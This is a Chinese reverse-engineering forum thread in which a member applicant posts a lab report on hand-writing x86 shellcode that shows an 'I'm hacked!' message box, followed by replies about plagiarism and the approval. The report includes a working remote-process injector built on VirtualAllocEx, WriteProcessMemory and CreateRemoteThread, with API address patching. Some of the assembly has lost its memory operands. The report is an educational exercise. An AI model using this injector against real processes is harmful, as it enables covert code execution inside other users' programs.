BUGS3-GTO 发表于 2016-4-20 13:31

申请会员ID:BUGS3-GTO【申请通过】

申请ID:BUGS3-GTO
个人邮箱:393803933@qq.com
原创技术文章:手写一个注入工具

对吾爱破解向往很久了~~


【步骤一】 编写二进制代码,弹出MessageBox对话框,并测试运行之。要求:首先编写汇编代码片段完成以下功能:调用MessageBoxA()函数弹出一个对话框,显示“I’m hacked!”字符串。然后请提取出这些汇编代码的二进制编码,放到一个全局字符数组char code[]中,并测试运行之,确保无误。#include<windows.h>
char *s = "I'm hacked!";
char code[]={
      0x6A,0x00,
      0x68,0x04,0xA0,0x40,0x00,
      0x68,0x04,0xA0,0x40,0x00,
      0x6A,0x00,
      0xFF,0x15,0x08,0x71,0x40,0x00
      ,0xc3
      };
void main()
{
      int op;
      MessageBoxA(0,s,s, MB_OK);
      VirtualProtect(&code,sizeof(code),PAGE_EXECUTE_READWRITE,&op);
      __asm{
                call offset code
      }
}
【步骤二】 请修改步骤一中生成的放置在char code[]中的二进制代码,使这段代码在运行时不依赖产生代码进程中的全局字符串。例如在步骤一参考测试程序 test.c中,不能再使用char *s = "I'm hacked!"这样的全局字符串。本步骤要求正确提取二进制代码数组,并且使用test.c测试运行。
#include<windows.h>
char code[]={
      0x55,//push ebp
      0x8b,0xec,//mov ebp,esp
      0x83,0xec,0x20,//sub esp,20
      0xc6,0x45,0xe8,0x49,
      0xc6,0x45,0xe9,0x27,
      0xc6,0x45,0xea,0x6d,
      0xc6,0x45,0xeb,0x20,
      0xc6,0x45,0xec,0x68,
      0xc6,0x45,0xed,0x61,
      0xc6,0x45,0xee,0x63,
      0xc6,0x45,0xef,0x6b,
      0xc6,0x45,0xf0,0x65,
      0xc6,0x45,0xf1,0x64,
      0xc6,0x45,0xf2,0x21,
      0xc6,0x45,0xf3,0x00,
      0x8d,0x45,0xe8,//lea eax,
      0x6A,0x00,//push 0
      0x50,//push eax
      0x50,//push eax
      0x6a,0x00,//push 0
      0xff,0x15,0x08,0x71,0x40,0x00,//call
      0x83,0xc4,0x20,//add esp,0x20
      0x8b,0xe5,//mov esp,ebp
      0x5d,//pop ebp
      0xc3//retn
      };
//告诉编译器,汇编代码是自己写的,编译器不要添加任何代码
__declspec(naked) void main()
{
      int op;
      __asm{
      push ebp
      mov ebp,esp
      sub esp,0x20
      mov ,'I'
      mov ,'\''
      mov ,'m'
      mov ,' '
      mov ,'h'
      mov ,'a'
      mov ,'c'
      mov ,'k'
      mov ,'e'
      mov ,'d'
      mov ,'!'
      mov ,0x0
      lea eax,
      push 0x0
      push eax
      push eax
      push 0x0
      call dword ptr
      add esp,0x20
      mov esp,ebp
      pop ebp
}
      VirtualProtect(&code,sizeof(code),PAGE_EXECUTE_READWRITE,&op);
      __asm{
      call offset code
      retn
      }
}
【步骤三】 考虑到远程进程的内存空间中可能还没有加载user32.dll,即没有MessageBoxA函数,无法让二进制代码来调用。为了能够使二进制代码在远程进程中正确运行,需要在二进制代码中添加新的指令,来调用LoadLibraryA()与GetProcAddress()等系统API函数来动态加载user32.dll,(0x0040926a)基址?0x00407000并且得到MessageBoxA函数的地址。请进一步完善保存在char code[]中的二进制代码,使之在user32.dll未加载的情况下,仍然能够正确弹出MessageBox对话框,最后请测试运行。
#include<windows.h>
char code[]={
      0x55,//push ebp////LoadLibraryA("user32.dll");
      0x8b,0xec,//mov ebp,esp
      0x83,0xec,0x20,//sub esp,20
      0xc6,0x45,0xe8,0x75,
      0xc6,0x45,0xe9,0x73,
      0xc6,0x45,0xea,0x65,
      0xc6,0x45,0xeb,0x72,
      0xc6,0x45,0xec,0x33,
      0xc6,0x45,0xed,0x32,
      0xc6,0x45,0xee,0x2e,
      0xc6,0x45,0xef,0x64,
      0xc6,0x45,0xf0,0x6c,
      0xc6,0x45,0xf1,0x6c,
      0xc6,0x45,0xf2,0x00,
      0x8d,0x45,0xe8,//lea eax,
      0x50,//push eax
      0xb8,0x64,0x28,0xa0,0x75,
      0xff,0xd0,//call eax
      0x83,0xc4,0x20,//add esp,0x20
      0x8b,0xe5,//mov esp,ebp
      0x5d,//pop ebp
      //0xc3
      0x55,//push ebp////GetProcAddress(hModUser32,"MessageBoxA");
      0x8b,0xec,//mov ebp,esp
      0x83,0xec,0x20,//sub esp,20
      0xc6,0x45,0xe8,0x4d,
      0xc6,0x45,0xe9,0x65,
      0xc6,0x45,0xea,0x73,
      0xc6,0x45,0xeb,0x73,
      0xc6,0x45,0xec,0x61,
      0xc6,0x45,0xed,0x67,
      0xc6,0x45,0xee,0x65,
      0xc6,0x45,0xef,0x42,
      0xc6,0x45,0xf0,0x6f,
      0xc6,0x45,0xf1,0x78,
      0xc6,0x45,0xf2,0x41,
      0xc6,0x45,0xf3,0x00,      
      0x8d,0x4d,0xe8,//lea eax,
      0x51,//push eax
      0x50,
      0xb8,0x37,0x18,0xa0,0x75,
      0xff,0xd0,
      0x83,0xc4,0x20,//add esp,0x20
      0x8b,0xe5,//mov esp,ebp
      0x5d,//pop ebp
      //0xc3
      0x55,//push ebp////MessageBoxA(0,"I'm hacked!","I'm hacked!",MB_OK);
      0x8b,0xec,//mov ebp,esp
      0x83,0xec,0x20,//sub esp,20
      0xc6,0x45,0xe8,0x49,
      0xc6,0x45,0xe9,0x27,
      0xc6,0x45,0xea,0x6d,
      0xc6,0x45,0xeb,0x20,
      0xc6,0x45,0xec,0x68,
      0xc6,0x45,0xed,0x61,
      0xc6,0x45,0xee,0x63,
      0xc6,0x45,0xef,0x6b,
      0xc6,0x45,0xf0,0x65,
      0xc6,0x45,0xf1,0x64,
      0xc6,0x45,0xf2,0x21,
      0xc6,0x45,0xf3,0x00,      
      0x8d,0x4d,0xe8,//lea eax,
      0x6a,0x00,//push 0
      0x51,
      0x51,
      0x6a,0x00,
      0xff,0xd0,//call
      0x83,0xc4,0x20,//add esp,0x20
      0x8b,0xe5,//mov esp,ebp
      0x5d,//pop ebp      
      0xc3
      };
//告诉编译器,汇编代码是自己写的,编译器不要添加任何代码
__declspec(naked) void main()
{
      int op;
      __asm{//LoadLibraryA("user32.dll");
      push ebp
      mov ebp,esp
      sub esp,0x20      
      mov ,'u'
      mov ,'s'
      mov ,'e'
      mov ,'r'
      mov ,'3'
      mov ,'2'
      mov ,'.'
      mov ,'d'
      mov ,'l'
      mov ,'l'
      mov ,0x0
      lea eax,
      push eax
      mov eax,0x75a02864
      call eax
      add esp,0x20
      mov esp,ebp
      pop ebp      
      }
      
      __asm{//GetProcAddress(hModUser32,"MessageBoxA");
      push ebp
      mov ebp,esp
      sub esp,0x20      
      mov ,'M'
      mov ,'e'
      mov ,'s'
      mov ,'s'
      mov ,'a'
      mov ,'g'
      mov ,'e'
      mov ,'B'
      mov ,'o'
      mov ,'x'
      mov ,'A'
      mov ,0x0
      lea ecx,
      push ecx
      push eax
      mov eax,0x75a01837
      call eax
      add esp,0x20
      mov esp,ebp
      pop ebp      
      }
      
      __asm{//MessageBoxA(0,"I'm hacked!","I'm hacked!",MB_OK);
      push ebp
      mov ebp,esp
      sub esp,0x20
      mov ,'I'
      mov ,'\''
      mov ,'m'
      mov ,' '
      mov ,'h'
      mov ,'a'
      mov ,'c'
      mov ,'k'
      mov ,'e'
      mov ,'d'
      mov ,'!'
      mov ,0x0
      lea ecx,
      push 0x0
      push ecx
      push ecx
      push 0x0
      call eax
      add esp,0x20
      mov esp,ebp
      pop ebp
}
      
      VirtualProtect(&code,sizeof(code),PAGE_EXECUTE_READWRITE,&op);
      __asm{
      call offset code
      retn
      }
}
【步骤四】:请编写注入器代码inj.c,将步骤三产生的二进制代码,即char code[]数组,注入到某一进程中,并创建远程线程运行之。
#include <windows.h>
BYTE code[]={
      0x55,//push ebp////LoadLibraryA("user32.dll");
      0x8b,0xec,//mov ebp,esp
      0x83,0xec,0x20,//sub esp,20
      0xc6,0x45,0xe8,0x75,
      0xc6,0x45,0xe9,0x73,
      0xc6,0x45,0xea,0x65,
      0xc6,0x45,0xeb,0x72,
      0xc6,0x45,0xec,0x33,
      0xc6,0x45,0xed,0x32,
      0xc6,0x45,0xee,0x2e,
      0xc6,0x45,0xef,0x64,
      0xc6,0x45,0xf0,0x6c,
      0xc6,0x45,0xf1,0x6c,
      0xc6,0x45,0xf2,0x00,
      0x8d,0x45,0xe8,//lea eax,
      0x50,//push eax
      0xb8,0x64,0x28,0xa0,0x75,
      0xff,0xd0,//call eax
      0x83,0xc4,0x20,//add esp,0x20
      0x8b,0xe5,//mov esp,ebp
      0x5d,//pop ebp
      //0xc3
      0x55,//push ebp////GetProcAddress(hModUser32,"MessageBoxA");
      0x8b,0xec,//mov ebp,esp
      0x83,0xec,0x20,//sub esp,20
      0xc6,0x45,0xe8,0x4d,
      0xc6,0x45,0xe9,0x65,
      0xc6,0x45,0xea,0x73,
      0xc6,0x45,0xeb,0x73,
      0xc6,0x45,0xec,0x61,
      0xc6,0x45,0xed,0x67,
      0xc6,0x45,0xee,0x65,
      0xc6,0x45,0xef,0x42,
      0xc6,0x45,0xf0,0x6f,
      0xc6,0x45,0xf1,0x78,
      0xc6,0x45,0xf2,0x41,
      0xc6,0x45,0xf3,0x00,      
      0x8d,0x4d,0xe8,//lea eax,
      0x51,//push eax
      0x50,
      0xb8,0x37,0x18,0xa0,0x75,
      0xff,0xd0,
      0x83,0xc4,0x20,//add esp,0x20
      0x8b,0xe5,//mov esp,ebp
      0x5d,//pop ebp
      //0xc3
      0x55,//push ebp////MessageBoxA(0,"I'm hacked!","I'm hacked!",MB_OK);
      0x8b,0xec,//mov ebp,esp
      0x83,0xec,0x20,//sub esp,20
      0xc6,0x45,0xe8,0x49,
      0xc6,0x45,0xe9,0x27,
      0xc6,0x45,0xea,0x6d,
      0xc6,0x45,0xeb,0x20,
      0xc6,0x45,0xec,0x68,
      0xc6,0x45,0xed,0x61,
      0xc6,0x45,0xee,0x63,
      0xc6,0x45,0xef,0x6b,
      0xc6,0x45,0xf0,0x65,
      0xc6,0x45,0xf1,0x64,
      0xc6,0x45,0xf2,0x21,
      0xc6,0x45,0xf3,0x00,      
      0x8d,0x4d,0xe8,//lea eax,
      0x6a,0x00,//push 0
      0x51,
      0x51,
      0x6a,0x00,
      0xff,0xd0,//call
      0x83,0xc4,0x20,//add esp,0x20
      0x8b,0xe5,//mov esp,ebp
      0x5d,//pop ebp      
      0xc3
};

int main(int argc, char *argv[])
{      
    int   PID         = 0;
    HANDLEhProcess    = 0;
    PBYTE   pCodeRemote = NULL;
    DWORD   dwNumBytesXferred = 0;
   
    PBYTE   pCode      = NULL;
    DWORD   dwSizeOfCode = 0;
   
    HANDLEhThread         = 0;
    DWORD   dwThreadId = 0;
    int            exitcode   = 0;

    if (argc < 2) {
      printf("Usage: %s pid\n", argv);
      return -1;
    }
    PID = atoi(argv);
    if (PID <= 0) {
      printf(": pid should be greater than zero!\n");
      return -1;
    }
      
    pCode = (PBYTE)code;
    dwSizeOfCode = sizeof(code);
//打开远程进程
    printf(": Opening remote process %d......", PID);
    hProcess = OpenProcess(PROCESS_CREATE_THREAD
      | PROCESS_QUERY_INFORMATION
      | PROCESS_VM_OPERATION
      | PROCESS_VM_WRITE
      | PROCESS_VM_READ,
      FALSE, PID);
      
    if (hProcess == NULL) {
      printf("failed.\n");
      return -1;
    }   
    printf("ok.\n");
//分配远程地址空间
    printf(": Allocating remote memory with size of 0x%08x ......",
      dwSizeOfCode);

    pCodeRemote = (PBYTE) VirtualAllocEx(hProcess,
            0,
            dwSizeOfCode,
            MEM_COMMIT,
            PAGE_EXECUTE_READWRITE);               
    if (pCodeRemote == NULL) {
      printf("failed.\n");
      CloseHandle(hProcess);
      return -1;
    }
    printf("ok at 0x%08x.\n", pCodeRemote);
//将code[]注入远程进程
    printf(": Writing code ......");
    if (WriteProcessMemory(hProcess,
            pCodeRemote,
            pCode,
            dwSizeOfCode,
            &dwNumBytesXferred) == 0) {
      printf("failed.\n");
      VirtualFreeEx(hProcess, pCodeRemote,
                dwSizeOfCode, MEM_RELEASE);
      CloseHandle(hProcess);
      return -1;
    };
    printf("ok (%d bytes were written).\n", dwNumBytesXferred);
//创建远程线程      
    printf(": Creating a remote thread ......");
    hThread = CreateRemoteThread(hProcess, NULL, 0,
            (LPTHREAD_START_ROUTINE) pCodeRemote,
            pCodeRemote, 0 , &dwThreadId);
    if (hThread == 0) {
      printf("failed.\n");
      if ( pCodeRemote != 0 )      
            VirtualFreeEx(hProcess, pCodeRemote, 0, MEM_RELEASE);
      if ( hThread != 0 )                        
            CloseHandle(hThread);
      return -1;
    }
    printf("ok.\n");
//等待远程线程执行
    printf(": Waiting the remote thread ......");
    WaitForSingleObject(hThread, INFINITE);
    GetExitCodeThread(hThread, (PDWORD) &exitcode);
//退出      
    printf("exited with 0x%08X\n", exitcode);

    VirtualFreeEx(hProcess, pCodeRemote, 0, MEM_RELEASE);
    CloseHandle(hProcess);

    return 0;
}
【步骤五】:由于每次系统重启后,进程空间中kernel32.dll加载的基地址都会发生变化,因此LoadLibraryA()与GetProcAddress()系统API的地址不是个固定值,它们的入口地址会在关机重启后发生变化。这样一来,事先做好的二进制代码将会再次无法运行。请在步骤四的基础上继续改进程序,使得注入程序能够自动寻找它们的入口地址,并且自动修正二进制代码中这两个函数的入口地址。


#include <windows.h>
BYTE code[]={
      0x55,//push ebp////LoadLibraryA("user32.dll");
      0x8b,0xec,//mov ebp,esp
      0x83,0xec,0x20,//sub esp,20
      0xc6,0x45,0xe8,0x75,
      0xc6,0x45,0xe9,0x73,
      0xc6,0x45,0xea,0x65,
      0xc6,0x45,0xeb,0x72,
      0xc6,0x45,0xec,0x33,
      0xc6,0x45,0xed,0x32,
      0xc6,0x45,0xee,0x2e,
      0xc6,0x45,0xef,0x64,
      0xc6,0x45,0xf0,0x6c,
      0xc6,0x45,0xf1,0x6c,
      0xc6,0x45,0xf2,0x00,
      0x8d,0x45,0xe8,//lea eax,
      0x50,//push eax
      //0xb8,0x64,0x28,0xa0,0x75,
      0xb8,0xaa,0xbb,0xaa,0xbb,//地址改成0xaabbaabb
      0xff,0xd0,//call eax
      0x83,0xc4,0x20,//add esp,0x20
      0x8b,0xe5,//mov esp,ebp
      0x5d,//pop ebp
      //0xc3
      0x55,//push ebp////GetProcAddress(hModUser32,"MessageBoxA");
      0x8b,0xec,//mov ebp,esp
      0x83,0xec,0x20,//sub esp,20
      0xc6,0x45,0xe8,0x4d,
      0xc6,0x45,0xe9,0x65,
      0xc6,0x45,0xea,0x73,
      0xc6,0x45,0xeb,0x73,
      0xc6,0x45,0xec,0x61,
      0xc6,0x45,0xed,0x67,
      0xc6,0x45,0xee,0x65,
      0xc6,0x45,0xef,0x42,
      0xc6,0x45,0xf0,0x6f,
      0xc6,0x45,0xf1,0x78,
      0xc6,0x45,0xf2,0x41,
      0xc6,0x45,0xf3,0x00,      
      0x8d,0x4d,0xe8,//lea eax,
      0x51,//push eax
      0x50,
      //0xb8,0x37,0x18,0xa0,0x75,
      0xb8,0xaa,0xbb,0xaa,0xbb,//地址改成0xaabbaabb
      0xff,0xd0,
      0x83,0xc4,0x20,//add esp,0x20
      0x8b,0xe5,//mov esp,ebp
      0x5d,//pop ebp
      //0xc3
      0x55,//push ebp////MessageBoxA(0,"I'm hacked!","I'm hacked!",MB_OK);
      0x8b,0xec,//mov ebp,esp
      0x83,0xec,0x20,//sub esp,20
      0xc6,0x45,0xe8,0x49,
      0xc6,0x45,0xe9,0x27,
      0xc6,0x45,0xea,0x6d,
      0xc6,0x45,0xeb,0x20,
      0xc6,0x45,0xec,0x68,
      0xc6,0x45,0xed,0x61,
      0xc6,0x45,0xee,0x63,
      0xc6,0x45,0xef,0x6b,
      0xc6,0x45,0xf0,0x65,
      0xc6,0x45,0xf1,0x64,
      0xc6,0x45,0xf2,0x21,
      0xc6,0x45,0xf3,0x00,      
      0x8d,0x4d,0xe8,//lea eax,
      0x6a,0x00,//push 0
      0x51,
      0x51,
      0x6a,0x00,
      0xff,0xd0,//call
      0x83,0xc4,0x20,//add esp,0x20
      0x8b,0xe5,//mov esp,ebp
      0x5d,//pop ebp      
      0xc3
};

int main(int argc, char *argv[])
{      
    int   PID         = 0;
    HANDLEhProcess    = 0;
    PBYTE   pCodeRemote = NULL;
    DWORD   dwNumBytesXferred = 0;
   
    PBYTE   pCode      = NULL;
    DWORD   dwSizeOfCode = 0;
   
    HANDLEhThread         = 0;
    DWORD   dwThreadId = 0;
    int            exitcode   = 0;

      *(int *)(code+55) =(int)LoadLibraryA;
      *(int *)(code+127) =(int)GetProcAddress;
      
    if (argc < 2) {
      printf("Usage: %s pid\n", argv);
      return -1;
    }
    PID = atoi(argv);
    if (PID <= 0) {
      printf(": pid should be greater than zero!\n");
      return -1;
    }
      
    pCode = (PBYTE)code;
    dwSizeOfCode = sizeof(code);
//打开远程进程
    printf(": Opening remote process %d......", PID);
    hProcess = OpenProcess(PROCESS_CREATE_THREAD
      | PROCESS_QUERY_INFORMATION
      | PROCESS_VM_OPERATION
      | PROCESS_VM_WRITE
      | PROCESS_VM_READ,
      FALSE, PID);
      
    if (hProcess == NULL) {
      printf("failed.\n");
      return -1;
    }   
    printf("ok.\n");
//分配远程地址空间
    printf(": Allocating remote memory with size of 0x%08x ......",
      dwSizeOfCode);

    pCodeRemote = (PBYTE) VirtualAllocEx(hProcess,
            0,
            dwSizeOfCode,
            MEM_COMMIT,
            PAGE_EXECUTE_READWRITE);               
    if (pCodeRemote == NULL) {
      printf("failed.\n");
      CloseHandle(hProcess);
      return -1;
    }
    printf("ok at 0x%08x.\n", pCodeRemote);
//将code[]注入远程进程
    printf(": Writing code ......");
    if (WriteProcessMemory(hProcess,
            pCodeRemote,
            pCode,
            dwSizeOfCode,
            &dwNumBytesXferred) == 0) {
      printf("failed.\n");
      VirtualFreeEx(hProcess, pCodeRemote,
                dwSizeOfCode, MEM_RELEASE);
      CloseHandle(hProcess);
      return -1;
    };
    printf("ok (%d bytes were written).\n", dwNumBytesXferred);
//创建远程线程      
    printf(": Creating a remote thread ......");
    hThread = CreateRemoteThread(hProcess, NULL, 0,
            (LPTHREAD_START_ROUTINE) pCodeRemote,
            pCodeRemote, 0 , &dwThreadId);
    if (hThread == 0) {
      printf("failed.\n");
      if ( pCodeRemote != 0 )      
            VirtualFreeEx(hProcess, pCodeRemote, 0, MEM_RELEASE);
      if ( hThread != 0 )                        
            CloseHandle(hThread);
      return -1;
    }
    printf("ok.\n");
//等待远程线程执行
    printf(": Waiting the remote thread ......");
    WaitForSingleObject(hThread, INFINITE);
    GetExitCodeThread(hThread, (PDWORD) &exitcode);
//退出      
    printf("exited with 0x%08X\n", exitcode);

    VirtualFreeEx(hProcess, pCodeRemote, 0, MEM_RELEASE);
    CloseHandle(hProcess);

    return 0;
}

Hmily 发表于 2016-4-20 16:09

http://www.cnblogs.com/ailx10/p/5251623.html 这个是你的博客?

稚柚 发表于 2016-4-20 17:54

吾爱T阿杰 发表于 2016-4-20 18:06

我很好奇,向往很久的,为啥开放时间没关注过

BUGS3-GTO 发表于 2016-4-21 23:54

Hmily 发表于 2016-4-20 16:09
http://www.cnblogs.com/ailx10/p/5251623.html 这个是你的博客?

嗯嗯 是的 这个是我的博客

BUGS3-GTO 发表于 2016-4-21 23:56

稚柚 发表于 2016-4-20 17:54
估计是抄袭的~ 要是他自己的播客也不至于舍不得花20软妹币吧!

你真看不起人

BUGS3-GTO 发表于 2016-4-21 23:58

吾爱T阿杰 发表于 2016-4-20 18:06
我很好奇,向往很久的,为啥开放时间没关注过

以前混看雪{:1_926:}

BUGS3-GTO 发表于 2016-4-22 00:03

说抄袭的都是什么心态
这个博客是我以前hexo里面的 用makedown写
申请的文档是我的实验报告

Hmily 发表于 2016-4-22 10:19

ID:BUGS3-GTO
邮箱:393803933@qq.com

申请通过,欢迎光临吾爱破解论坛,期待吾爱破解有你更加精彩,ID和密码自己通过邮件密码找回功能修改,请即时登陆并修改密码!
登陆后请在一周内在此帖报道,否则将删除ID信息。

PS:登录后请整理文章发于相应版块中吧,另外对于大家说“抄袭”的事情还请见谅,可以参看本版块帖子列表,有很多人用他人文章来申请,对于网络上现有的我们会给予确认是否原创。

BUGS3-GTO 发表于 2016-4-22 11:52

非常感谢吾爱破解站长,BUGS3-GTO在此报到
页: [1] 2
查看完整版本: 申请会员ID:BUGS3-GTO【申请通过】